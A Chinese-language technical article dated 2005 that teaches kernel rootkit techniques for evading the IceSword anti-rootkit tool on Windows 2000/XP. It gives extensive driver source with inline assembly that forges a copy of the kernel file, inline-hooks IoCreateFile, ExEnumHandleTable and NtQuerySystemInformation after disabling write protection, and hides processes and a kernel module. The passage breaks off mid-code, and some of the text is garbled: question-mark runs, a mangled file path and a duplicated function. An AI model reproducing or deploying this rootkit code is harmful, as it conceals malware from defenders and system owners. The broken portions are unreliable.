作者:倪茂志
郵件:backspray008@gmail.com
完成于:2005.12.20
文章分為八個部分:
????????????????一、為什么需要偽造內(nèi)核
????????????????二、偽造內(nèi)核文件
????????????????三、隱藏進(jìn)程
????????????????四、隱藏內(nèi)核模塊
????????????????五、隱藏服務(wù)
????????????????六、隱藏注冊表
????????????????七、隱藏文件
????????????????八、關(guān)于端口
另:建議先看看最后那些參考文章。
一、為什么需要偽造內(nèi)核:
????IceSword(以下簡稱IS)為了防止一些關(guān)鍵系統(tǒng)函數(shù)(包括所有服務(wù)中斷表中的函數(shù)以及IS驅(qū)動部分要使用到的一些關(guān)鍵函數(shù))被 patch,它直接讀取內(nèi)核文件(以下簡稱“ntoskrnl.exe”),然后自己分析ntoskrnl.exe的PE結(jié)構(gòu)來獲取關(guān)鍵系統(tǒng)函數(shù)的原始代 碼并且把當(dāng)前內(nèi)核中所有的關(guān)鍵系統(tǒng)函數(shù)還原為windows默認(rèn)狀態(tài),這樣保證了IS使用到的函數(shù)不被patch過。也許你會想如果我們把還原后的函數(shù)再 進(jìn)行patch不還是能躲的過去嗎?筆者也試過,還專門寫了ring0的Timer來不停的patch自己想hook的函數(shù)。結(jié)果IS棋高一籌,在對所有 的關(guān)鍵系統(tǒng)函數(shù)進(jìn)行還原以后,IS每次調(diào)用這些函數(shù)前都會先把這些函數(shù)還原一次。這樣還是能保證IS自己使用到的關(guān)鍵系統(tǒng)函數(shù)不被patch。也許你還會 想縮小Timer的時(shí)間間隔,以致于IS對這些函數(shù)進(jìn)行還原后,這些函數(shù)馬上又被我們patch,這樣IS再調(diào)用這些函數(shù)時(shí)不還是執(zhí)行了我們patch過 的函數(shù)。這種想法粗略看起來可以,但你仔細(xì)一想就知道是不行的。
????治病還是得治本,也許你想過不如直接修改ntoskrnl.exe文件內(nèi)容,使得IS一開始讀入的就已經(jīng)是我們patch過得函數(shù)內(nèi)容,這樣不就躲過去了。這種想法有兩個很大的副作用:
????1、在通常的默認(rèn)情況下,windows的系統(tǒng)文件保護(hù)是打開的,要停止這種系統(tǒng)文件保護(hù)要付出很大的代價(jià),有可能需要重啟。
????2、就算你停止了系統(tǒng)文件保護(hù),也成功修改了ntoskrnl.exe,但是你不能保證系統(tǒng)每次都能正常關(guān)機(jī)
?????? 假如系統(tǒng)非法關(guān)機(jī)重啟,由于你還來未對ntoskrnl.exe進(jìn)行還原,此時(shí)會發(fā)生什么情況我也就不多說了。
????而偽造內(nèi)核文件就很好的避免了上面談的兩大副作用。主要處理下面三個點(diǎn):
????1、截獲并修改IS打開ntoskrnl.exe消息,使它指向我要偽造的內(nèi)核文件(假設(shè)為“otoskrnl.exe”)
????2、在內(nèi)核文件中定位我們要修改的數(shù)據(jù)。
????3、隱藏我們偽造的“otoskrnl.exe”,這點(diǎn)請看本文的第七部分。
二、????偽造內(nèi)核文件:
先說一下本文hook函數(shù)的方式:
????1、取該函數(shù)起始地址的前六個字節(jié)內(nèi)容保留在unsigned char resume[6]中。
????2、把構(gòu)造的兩條指令push xxxxxxxx(我們自己構(gòu)造的函數(shù)地址) ret 保留到unsigned char crackcode[6](這兩條指令剛好六個字節(jié))中。
????3、把該函數(shù)起始址的6個字節(jié)替換成crackcode[6]的內(nèi)容。這樣系統(tǒng)調(diào)用該函數(shù)時(shí)就會先跳到xxxxxxxx地址去執(zhí)行我們構(gòu)造的函數(shù)。
????而我們構(gòu)造的xxxxxxxx函數(shù)的主要結(jié)構(gòu)如下:
????1、把我們hook的那個函數(shù)起始的前6個字節(jié)用resume[6]內(nèi)容進(jìn)行還原。
????2、對傳遞的程序參數(shù)進(jìn)行處理等。
????3、調(diào)用被還原后的函數(shù)。
????4、此時(shí)可以處理函數(shù)返回后的數(shù)據(jù)等。
????5、把還原后的那個函數(shù)的起始地址前6個字節(jié)再用crackcode[6]內(nèi)容進(jìn)行替換。
????6、返回。
????IS是通過IoCreateFile函數(shù)來打開ntoskrnl.exe,因此我們只要hook這個函數(shù),并檢查其打開的文件名,如果是打開 ntoskrnl.exe的話,我們把文件名替換成otoskrnl.exe再扔回去就OK了。這樣所有針對于ntoskrnl.exe文件的操作都會指 向otoskrnl.exe, 當(dāng)然前提是你在進(jìn)入驅(qū)動前記得先把ntoskrnl.exe在原目錄下復(fù)制一份并命名為otoskrnl.exe。
????關(guān)于我們要修改的數(shù)據(jù)在ntoskrnl.exe中偏移的算法也很簡單,這里給出公式如下:
????函數(shù)在中文件偏移=當(dāng)前函數(shù)在內(nèi)存中的地址 - 當(dāng)前函數(shù)所在驅(qū)動模塊的起始地址
????舉個例子來說,假設(shè)IoCreateFile在內(nèi)核中的內(nèi)存地址是0x8056d1234,由于它是在內(nèi)存中ntoskrnl.exe模塊中,假 設(shè)ntoskrnl.exe起始地址是0x8045d000。那么IoCreateFile在磁盤上的ntoskrnl.exe文件中的偏移就是 0x8056d123-0x8045d000=0x110123了。
????再進(jìn)行詳細(xì)點(diǎn)說明:假設(shè)你對IoCreateFile函數(shù)進(jìn)行了patch,使得該函數(shù)起始地址的6前六節(jié)的數(shù)據(jù)XXXXXX變成了 YYYYYY。那么你只要打開otoskrnl.exe,把文件偏移調(diào)整到上面所說的0x110123處,在寫入6個字節(jié)的數(shù)據(jù)YYYYYY。那么當(dāng)IS 打開otoskrnl.exe的話,讀出的數(shù)據(jù)就是YYYYYY了!
????下面的代碼實(shí)現(xiàn)兩個功能,一個功能就是hook了IoCreateFile函數(shù),使的所有指向ntoskrnl.exe的操作都指向 otoskrnl.exe。另外一個功能就是進(jìn)行偽造內(nèi)核(函數(shù)RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr)),其中FunctionOffset參數(shù)內(nèi)容就是我們要hook的函數(shù)在內(nèi)存中的地址。RepairDataPtr是指向 字符crackcode[6]第一個字節(jié)的指針。主要功能就是先把要hook的函數(shù)地址在otoskrnl.exe文件中進(jìn)行定位,然后再把 crackcode[6]內(nèi)容寫進(jìn)去。
#include "ntddk.h"
#include "stdarg.h"
#include "stdio.h"
#include "ntiologc.h"
#include "string.h"
#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long
PCWSTR????NTOSKRNL=L"ntoskrnl.exe"
unsigned char ResumCodeIoCreateFile[6];
unsigned char CrackCodeIoCreateFile[6];
typedef NTSTATUS ( *IOCREATEFILE )(
??OUT PHANDLE????????????????FileHandle,
??IN ACCESS_MASK????????????DesiredAccess,
??IN POBJECT_ATTRIBUTES????????????ObjectAttributes,
??OUT PIO_STATUS_BLOCK????????????IoStatusBlock,
??IN PLARGE_INTEGER????????????AllocationSize OPTIONAL,
??IN ULONG????????????????FileAttributes,
??IN ULONG????????????????ShareAccess,
??IN ULONG????????????????Disposition,
??IN ULONG????????????????CreateOptions,
??IN PVOID????????????????EaBuffer OPTIONAL,
??IN ULONG????????????????EaLength,
??IN CREATE_FILE_TYPE????????????CreateFileType,
??IN PVOID????????????????ExtraCreateParameters OPTIONAL,
??IN ULONG????????????????Options );
IOCREATEFILE????OldIoCreateFile;
DWORD GetFunctionAddr( IN PCWSTR FunctionName)
{
????UNICODE_STRING UniCodeFunctionName;
????????????RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
????????????return (DWORD)MmGetSystemRoutineAddress( &UniCodeFunctionName );????
}
NTSTATUS RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr)
{
????NTSTATUS Status;????
????HANDLE FileHandle;
????OBJECT_ATTRIBUTES FObject;
????IO_STATUS_BLOCK IOSB;
????UNICODE_STRING????FileName;
????LARGE_INTEGER NtosFileOffset;
????????????????RtlInitUnicodeString (
????????????????????????????&FileName,
????????????????????????????L"http://SystemRoot//system32//otoskrnl.exe" );
????????????????InitializeObjectAttributes (
???????????????????????????????? &FObject,
???????????????????????????????? &FileName,
???????????????????????????????? OBJ_KERNEL_HANDLE,
???????????????????????????????? NULL,
???????????????????????????????? NULL);
????????????????Status = ZwCreateFile(
????????????????????????????&FileHandle,
????????????????????????????FILE_WRITE_DATA+FILE_WRITE_ATTRIBUTES+FILE_WRITE_EA,
????????????????????????????&FObject,
????????????????????????????&IOSB,
????????????????????????????NULL,
????????????????????????????FILE_ATTRIBUTE_NORMAL,
????????????????????????????0,
????????????????????????????FILE_OPEN,
????????????????????????????FILE_NON_DIRECTORY_FILE,
????????????????????????????NULL,
????????????????????????????0
???????????????????????????? );
????????????????if ( Status != STATUS_SUCCESS )
????????????????{
????????????????????return Status;
????????????????}
????????????????//下面計(jì)算出函數(shù)在otoskrnl.exe中的偏移,NtoskrnlBase就是
????????????????//Ntoskrnl.exe在內(nèi)存中的起始地址,在第四部分隱藏內(nèi)核模塊
????????????????//時(shí)會提到它的獲取方法。
????????????????NtosFileOffset.QuadPart = FunctionOffset - NtoskrnlBase;
????????????????Status = ZwWriteFile(
????????????????????????????FileHandle,
????????????????????????????NULL,
????????????????????????????NULL,
????????????????????????????NULL,
????????????????????????????&IOSB,
????????????????????????????(unsigned char *)RepairDataPtr,
????????????????????????????0x6,
????????????????????????????&NtosFileOffset,
????????????????????????????NULL);
????????????????if ( Status != STATUS_SUCCESS )
????????????????{
????????????????????return Status;
????????????????}
????????????????Status = ZwClose( FileHandle );
????????????????if ( Status != STATUS_SUCCESS )
????????????????{
????????????????????return Status;
????????????????}
????????????????return STATUS_SUCCESS;????
}
NTSTATUS NewIoCreateFile (
??OUT PHANDLE????????????????FileHandle,
??IN ACCESS_MASK????????????DesiredAccess,
??IN POBJECT_ATTRIBUTES????????????ObjectAttributes,
??OUT PIO_STATUS_BLOCK????????????IoStatusBlock,
??IN PLARGE_INTEGER????????????AllocationSize OPTIONAL,
??IN ULONG????????????????FileAttributes,
??IN ULONG????????????????ShareAccess,
??IN ULONG????????????????Disposition,
??IN ULONG????????????????CreateOptions,
??IN PVOID????????????????EaBuffer OPTIONAL,
??IN ULONG????????????????EaLength,
??IN CREATE_FILE_TYPE????????????CreateFileType,
??IN PVOID????????????????ExtraCreateParameters OPTIONAL,
??IN ULONG????????????????Options )
{
????NTSTATUS Status;
????PCWSTR IsNtoskrnl = NULL;
????PCWSTR FileNameaddr=NULL;
????????_asm????//對IoCreateFile函數(shù)進(jìn)行還原
????????{
????????????pushad
????????????mov edi, OldIoCreateFile
????????????mov eax, dword ptr ResumCodeIoCreateFile[0]
????????????mov [edi], eax
????????????mov ax, word ptr ResumCodeIoCreateFile[4]
????????????mov [edi+4], ax
????????????popad
????????}
????????
????????_asm????//獲取要打開的文件名地址
????????{
????????????pushad
????????????mov edi, ObjectAttributes
????????????mov eax, [edi+8]
????????????mov edi, [eax+4]
????????????mov FileNameaddr, edi
????????????popad
????????}
????????IsNtoskrnl = wcsstr( FileNameaddr, NTOSKRNL ); //判斷是否時(shí)打開ntoskrnl.exe
????????if ( IsNtoskrnl != NULL )
????????{
????????????_asm????//是的話,則把ntoskrnl.exe替換成otoskrnl.exe
????????????{
????????????????pushad
????????????????mov edi, IsNtoskrnl
????????????????mov [edi], 0x006F
????????????????popad
????????????}
????????}
????????Status = OldIoCreateFile (
????????????
????????????????????????FileHandle,
????????????????????????DesiredAccess,
????????????????????????ObjectAttributes,
????????????????????????IoStatusBlock,
????????????????????????AllocationSize OPTIONAL,
????????????????????????FileAttributes,
????????????????????????ShareAccess,
????????????????????????Disposition,
????????????????????????CreateOptions,
????????????????????????EaBuffer OPTIONAL,
????????????????????????EaLength,
????????????????????????CreateFileType,
????????????????????????ExtraCreateParameters OPTIONAL,
????????????????????????Options );
????????_asm //把還原后的代碼又替換成我們偽造的代碼
????????????{
????????????????pushad
????????????????mov edi, OldIoCreateFile
????????????????mov eax, dword ptr CrackCodeIoCreateFile[0]
????????????????mov [edi], eax
????????????????mov ax, word ptr CrackCodeIoCreateFile[4]
????????????????mov [edi+4], ax
????????????????popad
????????????}????????
????????return Status;
}
NTSTATUS PatchIoCreateFile()
{
????NTSTATUS Status;
????????????
????????????OldIoCreateFile = ( IOCREATEFILE ) GetFunctionAddr(L"IoCreateFile");
????????????if ( OldIoCreateFile == NULL )
????????????{
????????????????DbgPrint("Get IoCreateFile Addr Error!!");
????????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????????}
????????????_asm??//關(guān)中斷
?????????? ????{
????????????????CLI????????????????
????????????????MOV????EAX, CR0????
????????????????AND EAX, NOT 10000H??
????????????????MOV????CR0, EAX????????
????????????}
????????????_asm
????????????{
????????????????pushad
????????????????//獲取 IoCreateFile 函數(shù)的地址并保留該函數(shù)的起始六個字節(jié)
????????????????mov edi, OldIoCreateFile
????????????????mov eax, [edi]
????????????????mov dword ptr ResumCodeIoCreateFile[0], eax
????????????????mov ax, [edi+4]
????????????????mov word??ptr ResumCodeIoCreateFile[4], ax
????????????????
????????????????//構(gòu)造要替換的代碼,使得系統(tǒng)調(diào)用函數(shù)時(shí)跳到我們構(gòu)造的NewIoCreateFile去執(zhí)行
????????????????mov byte ptr CrackCodeIoCreateFile[0], 0x68
????????????????lea edi, NewIoCreateFile
????????????????mov dword ptr CrackCodeIoCreateFile[1], edi
????????????????mov byte ptr CrackCodeIoCreateFile[5], 0xC3
????????????????//把構(gòu)造好的代碼進(jìn)心替換
????????????????mov edi, OldIoCreateFile
????????????????mov eax, dword ptr CrackCodeIoCreateFile[0]
????????????????mov dword ptr[edi], eax
????????????????mov ax, word ptr CrackCodeIoCreateFile[4]
????????????????mov word ptr[edi+4], ax
????????????????popad
????????????}
????????????_asm //開中斷
????????????{
????????????????MOV????EAX, CR0??????
????????????????OR????EAX, 10000H????????????
????????????????MOV????CR0, EAX??????????????
????????????????STI????????????????????
????????????}
????????????Status = RepairNtosFile(
????????????????????????????(DWORD)OldIoCreateFile,
????????????????????????????(DWORD)(&CrackCodeIoCreateFile));
????????????return Status;
}
????上面給出的代碼中,有些是公共使用的部分,如:GetFunctionAddr()(用來獲取函數(shù)地址)以及RepairNtosFile() (功能上文已經(jīng)介紹)函數(shù)。為節(jié)省版面,在下面的代碼中將直接對其進(jìn)行引用,而不再貼出它們的代碼。下面的代碼將不會再include頭文件。而是直接定 義自己所使用到的變量。其中include的投文件與上面的代碼相同,另外本文中所有的例子都沒有給出Unloaded例程(浪費(fèi)版面),自己看著寫了另 外,本文貼出的所有代碼,除了第六部分代碼只在XP下測試通過,其他代碼均再2K及XP下測試并通過。筆者在寫這些代碼時(shí)雖然兼顧到了2K3,但是筆者并 沒有在2K3中測試過這些代碼。這些代碼中夾雜了一些匯編指令。這些匯編指令產(chǎn)生主要有兩種原因:一是當(dāng)時(shí)的我認(rèn)為某些東西用匯編指令來表示非常直觀,如 還原與替換函數(shù)代碼那個部分。二是在分析一些數(shù)據(jù)時(shí),由于眼前面對的是純16進(jìn)制的數(shù)據(jù),于是也沒多想咔咔就用匯編寫了一個循環(huán)下來。如果給你閱讀代碼造 成了不便,筆者在這表示歉意。
三、????隱藏進(jìn)程
????對付IS枚舉進(jìn)程ID的思路是這樣的,hook系統(tǒng)函數(shù)ExEnumHandleTable,使它先運(yùn)行我們指定的函數(shù) NewExEnumHandleTable,在NewExEnumHandleTable函數(shù)中,我們先獲取它的回調(diào)函數(shù)參數(shù)Callback所指向的函 數(shù)地址,把它所指向的函數(shù)地址先放到OldCallback中,然后用我們構(gòu)造的新的回調(diào)函數(shù)FilterCallback去替換掉原來的 Callback。這樣該函數(shù)在執(zhí)行回調(diào)函數(shù)時(shí)就會先調(diào)用我們給它的FilterCallback回調(diào)函數(shù)。在我們設(shè)計(jì)的FilterCallback 中,判斷當(dāng)前進(jìn)程ID是否時(shí)我們要隱藏的進(jìn)程ID,不是的話則把參數(shù)傳給OldCallback去執(zhí)行,如果是的話則直接return。這樣就起到隱藏進(jìn) 程的作用。
????以上是對付IS的,對于應(yīng)付windows進(jìn)程管理的方法,與sinister使用的方法大體相同,不過有些不同。sinister是通過比較進(jìn) 程名來確定自己要隱藏的進(jìn)程。這種方法對于隱藏要啟動兩個和兩個以上相同名字的進(jìn)程比較可取,但問題是如果你只是要隱藏一個進(jìn)程的話。那么這個方法就顯得 不完美了。完全可以通過直接比較進(jìn)程ID來確定自己要隱藏的進(jìn)程。建議不到不得以的時(shí)候盡量不要使用比較文件名的方法,太影響效率。
????下面的代碼中,GetProcessID()函數(shù)是用來從注冊表中讀取要隱藏的進(jìn)程ID,當(dāng)然首先你要在注冊表設(shè)置這個值。用注冊表還是很方便的。
????PatchExEnumHandleTable()函數(shù)是通過hook系統(tǒng)函數(shù)ExEnumHandleTable函數(shù)實(shí)現(xiàn)在IS中隱藏目標(biāo)進(jìn) 程,PatchNtQuerySystemInformation ()函數(shù)是通過hook系統(tǒng)函數(shù)NtQuerySystemInformation并通過比較進(jìn)程ID的方法實(shí)現(xiàn)隱藏進(jìn)程。
HANDLE ProtectID;
unsigned char ResumCodeExEnumHandleTable[6];
unsigned char CrackCodeExEnumHandleTable[6];
unsigned char ResumCodeNtQuerySystemInformation[6];
unsigned char CrackCodeNtQuerySystemInformation[6];
typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)(
??IN ULONG????????????????????????SystemInformationClass,
??OUT PVOID????????????????????????SystemInformation,
??IN ULONG????????????????????????SystemInformationLength,
??OUT PULONG????????????????????????ReturnLength OPTIONAL??);
NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation;
typedef VOID (*EXENUMHANDLETABLE)??
(??
????PULONG????????HandleTable,??
????PVOID????????Callback,??
????PVOID????????Param,??
????PHANDLE????????Handle??OPTIONAL
);
EXENUMHANDLETABLE????OldExEnumHandleTable;
typedef BOOL (*EXENUMHANDLETABLECALLBACK)
(
????DWORD?? HANDLE_TALBE_ENTRY,
????DWORD????PID,
????PVOID????Param
);
EXENUMHANDLETABLECALLBACK????OldCallback;
NTSTATUS GetProcessID (
????????????IN PUNICODE_STRING theRegistryPath
????????????)
{
????OBJECT_ATTRIBUTES ObjectAttributes;
????NTSTATUS Status;
????HANDLE KeyHandle;
????PHANDLE Phandle;
????PKEY_VALUE_PARTIAL_INFORMATION valueInfoP;
????ULONG valueInfoLength,returnLength;
????UNICODE_STRING UnicodeProcIDreg;
????????????InitializeObjectAttributes (
????????????????????????????&ObjectAttributes,
????????????????????????????theRegistryPath,
????????????????????????????OBJ_CASE_INSENSITIVE,
????????????????????????????NULL,
????????????????????????????NULL );
????????????Status = ZwOpenKey (
????????????????????????&KeyHandle,
????????????????????????KEY_ALL_ACCESS,
????????????????????????&ObjectAttributes );
????????????if (Status != STATUS_SUCCESS)
????????????{
????????????????DbgPrint("ZwOpenKey Wrong/n");
????????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????????}
????????????RtlInitUnicodeString (
????????????????????????&UnicodeProcIDreg,
????????????????????????L"ProcessID" );
????????????valueInfoLength = sizeof(KEY_VALUE_PARTIAL_INFORMATION);
????????????valueInfoP = (PKEY_VALUE_PARTIAL_INFORMATION) ExAllocatePool (
????????????????????????????????????????????NonPagedPool,
????????????????????????????????????????????valueInfoLength );
????????????Status = ZwQueryValueKey (
????????????????????????????KeyHandle,
????????????????????????????&UnicodeProcIDreg,
????????????????????????????KeyValuePartialInformation,
????????????????????????????valueInfoP,
????????????????????????????valueInfoLength,
????????????????????????????&returnLength );
????????????if (Status != STATUS_SUCCESS)
????????????{
????????????????DbgPrint("ZwOpenKey Wrong/n");
????????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????????}
????????????Phandle = (PHANDLE)(valueInfoP->Data);
????????????ProtectID = *Phandle;
????????????ZwClose(KeyHandle);
????????????return STATUS_SUCCESS;
}
BOOL FilterCallback (
????????????DWORD?? HANDLE_TALBE_ENTRY,
????????????DWORD????PID,
????????????PVOID????Param )
{
????????if ( PID != (DWORD)ProtectID)????//判斷是否是我們要隱藏的進(jìn)程
????????{
????????????return OldCallback (
????????????????????????HANDLE_TALBE_ENTRY,
????????????????????????PID,
????????????????????????Param );
????????}
????????else
????????{
????????????return FALSE; //是的話直接返回
????????}
}
BOOL FilterCallback (
????????????DWORD?? HANDLE_TALBE_ENTRY,
????????????DWORD????PID,
????????????PVOID????Param )
{
????????if ( PID != (DWORD)ProtectID)????//判斷是否是我們要隱藏的進(jìn)程
????????{
????????????return OldCallback (
????????????????????????HANDLE_TALBE_ENTRY,
????????????????????????PID,
????????????????????????Param );
????????}
????????else
????????{
????????????return FALSE; //是的話直接返回
????????}
}
VOID NewExEnumHandleTable(
????????????????PULONG????????HandleTable,??
????????????????PVOID????????Callback,??
????????????????PVOID????????Param,??
????????????????PHANDLE????????Handle??OPTIONAL )????
{
????????OldCallback = Callback; //把Callback參數(shù)給OldCallback進(jìn)行保留
????????Callback = FilterCallback; //用FilterCallback替換調(diào)原來的Callback
????????_asm??//還原
????????{
????????????pushad
????????????mov edi, OldExEnumHandleTable
????????????mov eax, dword ptr ResumCodeExEnumHandleTable[0]
????????????mov [edi], eax
????????????mov ax, word ptr ResumCodeExEnumHandleTable[4]
????????????mov [edi+4], ax
????????????popad
????????}
????????????OldExEnumHandleTable (
????????????????????????HandleTable,??
????????????????????????Callback,??
????????????????????????Param,??
????????????????????????Handle??OPTIONAL );
????????_asm //替換
????????{
????????????pushad
????????????mov edi, OldExEnumHandleTable
????????????mov eax, dword ptr CrackCodeExEnumHandleTable[0]
????????????mov [edi], eax
????????????mov ax, word ptr CrackCodeExEnumHandleTable[4]
????????????mov [edi+4], ax
????????????popad
????????}
????????return ;
}
NTSTATUS PatchExEnumHandleTable()
{
????NTSTATUS Status;
???????????? OldExEnumHandleTable = (EXENUMHANDLETABLE) GetFunctionAddr(L"ExEnumHandleTable");
???????????? if ( OldExEnumHandleTable == NULL )
???????????? {
???????????????? DbgPrint("Get ExEnumHandleTable Addr Error!!");
???????????????? return STATUS_DEVICE_CONFIGURATION_ERROR;
???????????? }
???????????? _asm????//關(guān)中斷
?????????? ????{
????????????????CLI????????????????????
????????????????MOV????EAX, CR0??
????????????????AND EAX, NOT 10000H
????????????????MOV????CR0, EAX??
????????????}
???????????? _asm
????????????{
????????????????pushad
????????????????//獲取ExEnumHandleTable函數(shù)的地址并保留該函數(shù)的起始六個字節(jié)
????????????????mov edi, OldExEnumHandleTable
????????????????mov eax, [edi]
????????????????mov dword ptr ResumCodeExEnumHandleTable[0], eax
????????????????mov ax, [edi+4]
????????????????mov word??ptr ResumCodeExEnumHandleTable[4], ax
????????????????
????????????????//構(gòu)造要替換的代碼,使得系統(tǒng)調(diào)用該函數(shù)時(shí)跳到我們構(gòu)造的NewExEnumHandleTable去執(zhí)行
????????????????mov byte ptr CrackCodeExEnumHandleTable[0], 0x68
????????????????lea edi, NewExEnumHandleTable
????????????????mov dword ptr CrackCodeExEnumHandleTable[1], edi
????????????????mov byte ptr CrackCodeExEnumHandleTable[5], 0xC3
????????????????//把構(gòu)造好的代碼進(jìn)心替換
????????????????mov edi, OldExEnumHandleTable
????????????????mov eax, dword ptr CrackCodeExEnumHandleTable[0]
????????????????mov dword ptr[edi], eax
????????????????mov ax, word ptr CrackCodeExEnumHandleTable[4]
????????????????mov word ptr[edi+4], ax
????????????????popad
????????????}
???????????? _asm //開中斷
????????????{
????????????????MOV????EAX, CR0????????
????????????????OR????EAX, 10000H??
????????????????MOV????CR0, EAX??????????
????????????????STI??????????
????????????}
????????????
????????????Status = RepairNtosFile(
????????????????????????(DWORD)OldExEnumHandleTable,
????????????????????????(DWORD)(&CrackCodeExEnumHandleTable) );
????????????return Status;
}
NTSTATUS NewNtQuerySystemInformation(
??IN ULONG????????SystemInformationClass,
??OUT PVOID????????SystemInformation,
??IN ULONG????????SystemInformationLength,
??OUT PULONG????????ReturnLength OPTIONAL )
{
????NTSTATUS Status;
????DWORD???? Bprocess;
????????_asm??
????????{
????????????pushad
????????????mov edi, OldNtQuerySystemInformation
????????????mov eax, dword ptr ResumCodeNtQuerySystemInformation[0]
????????????mov [edi], eax
????????????mov ax, word ptr ResumCodeNtQuerySystemInformation[4]
????????????mov [edi+4], ax
????????????popad
????????}
????????Status=OldNtQuerySystemInformation (
????????????????????????????SystemInformationClass,
????????????????????????????SystemInformation,
????????????????????????????SystemInformationLength,
????????????????????????????ReturnLength OPTIONAL );
????????_asm
????????{
????????????pushad
????????????mov edi, OldNtQuerySystemInformation
????????????mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
????????????mov [edi], eax
????????????mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
????????????mov [edi+4], ax
????????????popad
????????}
????????if ( Status != STATUS_SUCCESS || SystemInformationClass!=5 )
????????{
????????????return Status;
????????}
????????_asm
????????{
????????????pushad
????????????mov ecx, ProtectID
????????????mov edi, SystemInformation
ProcessListNEnd:
????????????mov Bprocess, edi
????????????mov eax, [edi]
????????????test eax, eax
????????????jz ProcessListEnd
????????????add edi, eax
????????????mov eax, [edi+0x44]
????????????cmp eax, ecx
????????????jz FindOut
????????????jmp ProcessListNEnd
FindOut:
????????????mov ebx, [edi]
????????????test ebx, ebx
????????????jz listend
????????????mov eax, Bprocess
????????????mov edx, [eax]
????????????add ebx, edx
????????????mov [eax], ebx
????????????jmp hideOK
listend:
????????????mov eax,????Bprocess
????????????mov [eax],??0
hideOK:????
????????????
ProcessListEnd:
????????????popad
????????}
????????return Status;
}
NTSTATUS PatchNtQuerySystemInformation ()
{
????NTSTATUS Status;
????????????
????????????OldNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION) GetFunctionAddr(L"NtQuerySystemInformation");
????????????if ( OldNtQuerySystemInformation == NULL )
????????????{
????????????????DbgPrint("Get NtQuerySystemInformation Addr Error!!");
????????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????????}
????????????_asm????//關(guān)中斷
?????????? ????{
????????????????CLI????????
????????????????MOV????EAX, CR0????????
????????????????AND EAX, NOT 10000H
????????????????MOV????CR0, EAX????????
????????????}
????????????_asm
????????????{
????????????????pushad
????????????????//獲取 NtQuerySystemInformation 函數(shù)的地址并保留該函數(shù)的起始六個字節(jié)
????????????????mov edi, OldNtQuerySystemInformation
????????????????mov eax, [edi]
????????????????mov dword ptr ResumCodeNtQuerySystemInformation[0], eax
????????????????mov ax, [edi+4]
????????????????mov word??ptr ResumCodeNtQuerySystemInformation[4], ax
????????????????
????????????????//構(gòu)造要替換的代碼,使得系統(tǒng)調(diào)用該函數(shù)時(shí)跳到我們構(gòu)造的NewNtQuerySystemInformation去執(zhí)行
????????????????mov byte ptr CrackCodeNtQuerySystemInformation[0], 0x68
????????????????lea edi, NewNtQuerySystemInformation
????????????????mov dword ptr CrackCodeNtQuerySystemInformation[1], edi
????????????????mov byte ptr CrackCodeNtQuerySystemInformation[5], 0xC3
????????????????//把構(gòu)造好的代碼進(jìn)心替換
????????????????mov edi, OldNtQuerySystemInformation
????????????????mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
????????????????mov dword ptr[edi], eax
????????????????mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
????????????????mov word ptr[edi+4], ax
????????????????popad
????????????}
????????????_asm //開中斷
????????????{
????????????????MOV????EAX, CR0??????
????????????????OR????EAX, 10000H??????????
????????????????MOV????CR0, EAX??????????????
????????????????STI????????????????????
????????????}
????????????Status = RepairNtosFile(
????????????????????????????(DWORD)OldNtQuerySystemInformation,
????????????????????????????(DWORD)(&CrackCodeNtQuerySystemInformation) );
????????????return Status;
}
四、隱藏內(nèi)核模塊
????對于內(nèi)核模塊,我原以為IS會通過獲取內(nèi)核變量PsLoadedModuleList,然后在通過這個來遍歷所有的內(nèi)核模塊。假設(shè)此時(shí)獲得結(jié)果 1。通過調(diào)用函數(shù)NtQuerySystemInformation,參數(shù)SystemModuleInformation,假設(shè)此時(shí)獲得結(jié)果2。再把結(jié) 果1與結(jié)果2進(jìn)行比較,這樣就會發(fā)現(xiàn)被隱藏的模塊。但事實(shí)證明我想的太復(fù)雜了。而IS只進(jìn)行了獲取結(jié)果2的過程。而沒有去執(zhí)行獲取結(jié)果1的過程。
????下面的代碼可以在IS下隱藏自己的內(nèi)核模塊,主要思路是,首先獲取一個自己這個模塊中任意函數(shù)的地址,把該地址給DriverAddr,利用 DriverAddr在上述的結(jié)果2中定位,通過DriverAddr肯定會大于自己這個模塊的起始地址并且小于自己這個模塊的結(jié)束地址來定位。
DWORD DriverAddr;
unsigned char ResumCodeNtQuerySystemInformation[6];
unsigned char CrackCodeNtQuerySystemInformation[6];
typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)(
??IN ULONG????????SystemInformationClass,
??OUT PVOID????????SystemInformation,
??IN ULONG????????SystemInformationLength,
??OUT PULONG????????ReturnLength OPTIONAL??);
NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation;
NTSTATUS NewNtQuerySystemInformation(
??IN ULONG????????SystemInformationClass,
??OUT PVOID????????SystemInformation,
??IN ULONG????????SystemInformationLength,
??OUT PULONG????????ReturnLength OPTIONAL )
{
????NTSTATUS Status;
????????_asm??//還原
????????{
????????????pushad
????????????mov edi, OldNtQuerySystemInformation
????????????mov eax, dword ptr ResumCodeNtQuerySystemInformation[0]
????????????mov [edi], eax
????????????mov ax, word ptr ResumCodeNtQuerySystemInformation[4]
????????????mov [edi+4], ax
????????????popad
????????}
????????
????????Status = ZwQuerySystemInformation (
????????????????????????????SystemInformationClass,
????????????????????????????SystemInformation,
????????????????????????????SystemInformationLength,
????????????????????????????ReturnLength OPTIONAL );
????????_asm //替換
????????{
????????????pushad
????????????mov edi, OldNtQuerySystemInformation
????????????mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
????????????mov [edi], eax
????????????mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
????????????mov [edi+4], ax
????????????popad
????????}
????????if ( Status != STATUS_SUCCESS || SystemInformationClass!=0xb )??//是否是獲取模塊信息
????????{
????????????return Status;??
????????}
????????_asm
????????{
????????????pushad
